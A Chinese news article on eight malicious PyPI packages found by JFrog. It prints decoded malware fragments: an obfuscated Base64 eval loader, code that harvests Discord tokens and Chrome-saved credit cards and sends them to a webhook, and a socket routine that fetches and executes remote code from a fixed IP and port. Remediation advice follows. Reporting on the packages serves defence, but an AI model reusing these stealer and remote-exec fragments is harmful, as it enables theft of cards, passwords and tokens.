本文转载自量子位

Python程序员真的要小心了,PyPI软件库问题真是越来越严重。

继今年6月出现挖矿病毒后,PyPI最近再次出现了一批恶意软件,

JFrog安全团队发现,PyPI库中有多个软件存在盗取信用卡信息远程注入代码的行为,而这些软件总共被下载了3万次。

这些被发现问题的恶意软件分别是:

当程序员安装完这些软件后,它们将在后台不知不觉读取浏览器文件夹,从而盗取信用卡信息和密码。

它们是如何窃取信用卡信息的

安全研究人员发现,上述所有软件包都使用Base64编码进行伪装。

比如上述的noblesse2:

import base64, codecs
magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'
love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'
god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'
destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))

这种方法可以欺骗一些简单的分析工具,但是仔细研究可以发现其中的问题。

以上8个软件包分别包含了以下不同种类的恶意行为:

1、窃取Discord帐户身份验证token

Discord身份验证token读取器的代码非常简单,它就是一组硬编码的路径:

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')paths = {'Discord': roaming + '\\Discord','Discord Canary': roaming + '\\discordcanary','Discord PTB': roaming + '\\discordptb','Google Chrome': local + '\\Google\\Chrome\\User Data\\Default','Opera': roaming + '\\Opera Software\\Opera Stable','Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default','Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}

然后代码会读取这几种浏览器路径下的所有.log和.ldb文件,并查找Discord身份验证token,结果通过Webhook上传到Discord。

2、窃取浏览器存储的密码或信用卡数据

当你在浏览器中输入密码或信用卡数据时,一般都会跳出如下窗口,提示用户保存这些信息。

虽然这给用户带来方便,今后不用一遍遍输入密码,但缺点是这些信息可能会恶意软件获取。

在这种情况下,恶意软件会尝试从Chrome窃取信用卡信息:

def cs():master_key = master()login_db = os.environ['USERPROFILE'] + os.sep + \r'AppData\Local\Google\Chrome\User Data\default\Web Data'shutil.copy2(login_db,"CCvault.db")conn = sqlite3.connect("CCvault.db")cursor = conn.cursor()try:cursor.execute("SELECT * FROM credit_cards")for r in cursor.fetchall():username = r[1]encrypted_password = r[4]decrypted_password = dpw(encrypted_password, master_key)expire_mon = r[2]expire_year = r[3]hook.send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n")

这些信息和前一种情况一样会通过Webhook上传。

3、收集有关受感染PC的信息:如IP地址、计算机名称和用户名

除此之外,这些软件还会收集Windows许可证密钥信息、Windows版本以及屏幕截图。

4、远程代码注入

pytagora和pytagora2这两个恶意软件会尝试连接到某个IP地址9009端口上的,然后执行Socket中可用的任何Python代码。

其中混淆的代码被安全人员解码成如下片段:

import socket,struct,time
s=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(('172.16.60.80',9009))
l=struct.unpack('>I',s.recv(4))[0]
print (l)
d=s.recv(l)
print (d)
while len(d)>!1:
d+=s.recv(l-len(d))
print (d)
exec(d,{'s':s})

但是安全人员现在不知道这个IP地址是什么,或者上面是否存在恶意软件。

中毒后如何挽救

如果你发现自己的电脑已经安装了诸如noblesse的恶意软件,那么请检查一下你的浏览器到底保存了哪些密码,这些密码可能已经泄露,请尽快修改。

对于Edge浏览器用户,请在地址栏中输入edge://settings/passwords,查看已保存的密码。

对于Chrome浏览器用户,请在地址栏中输入chrome://settings/payments,在付款方式一栏下查看已保存的信用卡信息。

另外可以松口气的是,PyPI维护人员已经删除了这些恶意软件包。

虽然PyPI软件库现在是安全了,但是鉴于这些开源软件库现在的维护状态,未来很可能还会遇到更多攻击。今年PyPI库出现安全问题的状况就不止一次出现。

“攻击者能够使用简单的混淆技术来引入恶意软件,这意味着开发人员必须保持警惕。”

JFrog CTO说,“这是一个系统性威胁,需要由软件存储库的维护者和开发人员在多个层面积极解决。”

PyPI又双叒叕发现恶意软件相关推荐

  1. PyPI又双叒叕发现恶意软件,能盗取信用卡还有后门程序

    晓查 发自 凹非寺 量子位 报道 | 公众号 QbitAI Python程序员真的要小心了,PyPI软件库问题真是越来越严重. 继今年6月出现挖矿病毒后,PyPI最近再次出现了一批恶意软件, JFro ...

  2. Python 库突发 PyPI 危机!

    ‍‍ 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews) 据 BleepingComputer 报道,Python 官方软件包存储库 PyPI 遭受了黑客攻击,攻击者通过注入垃圾邮件包的形 ...

  3. 下个软件包可能泄露信用卡信息,Python 包存储库 PyPI 又爆恶意代码,下载达 3 万次,你中招了吗?...

    转自:机器之心 近日,有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码.据估计,这些软件 ...

  4. 下个软件包可能泄露信用卡信息,Python包存储库PyPI又爆恶意代码,下载达3万次,你中招了吗?...

    近日,有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码.据估计,这些软件包的下载次数达到 ...

  5. 危!Python 官方存储库 PyPI 再成“祸源”?

    整理 | 郑丽媛 出品 | CSDN(ID:CSDNnews) PyPI,作为 Python 的官方第三方软件包存储库,一直广受开发者欢迎,所有人都可以下载第三方库或上传自己开发的库到 PyPI,与之 ...

  6. 什么?还有可以攻击telegram和其他APP的恶意软件

    研究人员分析了XCSSET恶意软件攻击最新macOS 11(Big Sur)系统的特征.之后,XCSSET恶意软件攻击活动又向其工具集中增加了一些新的特征.在其最新的攻击活动中,研究人员发现了XCSS ...

  7. 怎么用贝塞尔工具画圆_Win10恶意软件删除工具怎么用?这个方法都舍不得分享...

    Win10恶意软件删除工具怎么用?恶意软件删除工具相信很多朋友都会在windows更新中看到过,但是很多朋友确从来没有用过,微软每个月都会把恶意软件删除工具给更新一下,主要作用是用来分析用户电脑上是否 ...

  8. Win10怎么使用Windows Defender扫描文件夹中的恶意软件?

    Windows 10 附带一个名为 Windows Defender 的免费内置防病毒程序,可提供实时保护并能够对您的计算机执行扫描. 它还允许您执行自定义扫描,让您指定要扫描恶意软件的特定文件夹或驱 ...

  9. 针对firefox的恶意软件分析取证

    简介 需要此文章用到的虚拟机环境和工具可以加我qq3316735898 环境介绍 环境用的是火眼Windows攻击工具集环境 该公司发布了一个包含超过140个开源Windows工具的大礼包,红队渗透测 ...

最新文章

  1. URL编码表%20Base64编码表%20HTTP消息含义
  2. keep健身软件电脑版_一款不错的健身软件keep会员实现教程
  3. mac photoshop install无法安装_MAC安装应用报错:无法打开或文件损坏的处理方法~...
  4. 2016 ACM/ICPC Asia Regional Dalian Online
  5. 微信又添新功能!这个微信群可以学英语,而且全程免费
  6. Docker的简单使用
  7. 自动启动和关闭Oracle 脚本
  8. 【Kettle】job中设置自动发送邮件
  9. Check Point截获JavaScript文件隐形攻击
  10. 新建的mvn项目目录结构问题
  11. R(Kmeans绘制地形图)
  12. 2020 CPU性能排行天梯图
  13. 无线充U型超声波电动牙刷方案开发
  14. 首日回顾:新一代区块链开发平台初步建成 | ArcBlock Devcon 2020
  15. Batter Charger EC之间的数据交互
  16. 【Android Gradle 插件】build.gradle 中的 android 配置 ( 配置项 | compileSdkVersion 配置 | buildToolsVersion 配置 )
  17. ArcGIS教程:如何为跨带数据投影
  18. Msfvenonm生成后门木马
  19. 嵌入式面试题之单片机知识
  20. scrapy框架的简单使用——爬取当当网图书信息

热门文章

  1. 使用css3中的var()实现改变scss的变量值
  2. Google Earth Engine (GEE)——如何统计指定区域的像素数量和总量
  3. 晴天科技冲刺上市:实控人丁一波系本科肄业,粤民投为其股东
  4. 正则表达式(一)认识正则表达式
  5. c语言学生综合测评系统_c语言图书管理系统_c语言学生综合测评系统_c语言个人账本管理系统...
  6. 登录系统与人事系统结合c语言,基于ASP的人事管理系统分析
  7. 超简单,为自己的项目增加微信消息提醒功能
  8. cad快捷图标中的启动参数
  9. Android:MTK的Dialer模块联系人搜索
  10. devops 三十六计_要避免的6个DevOps错误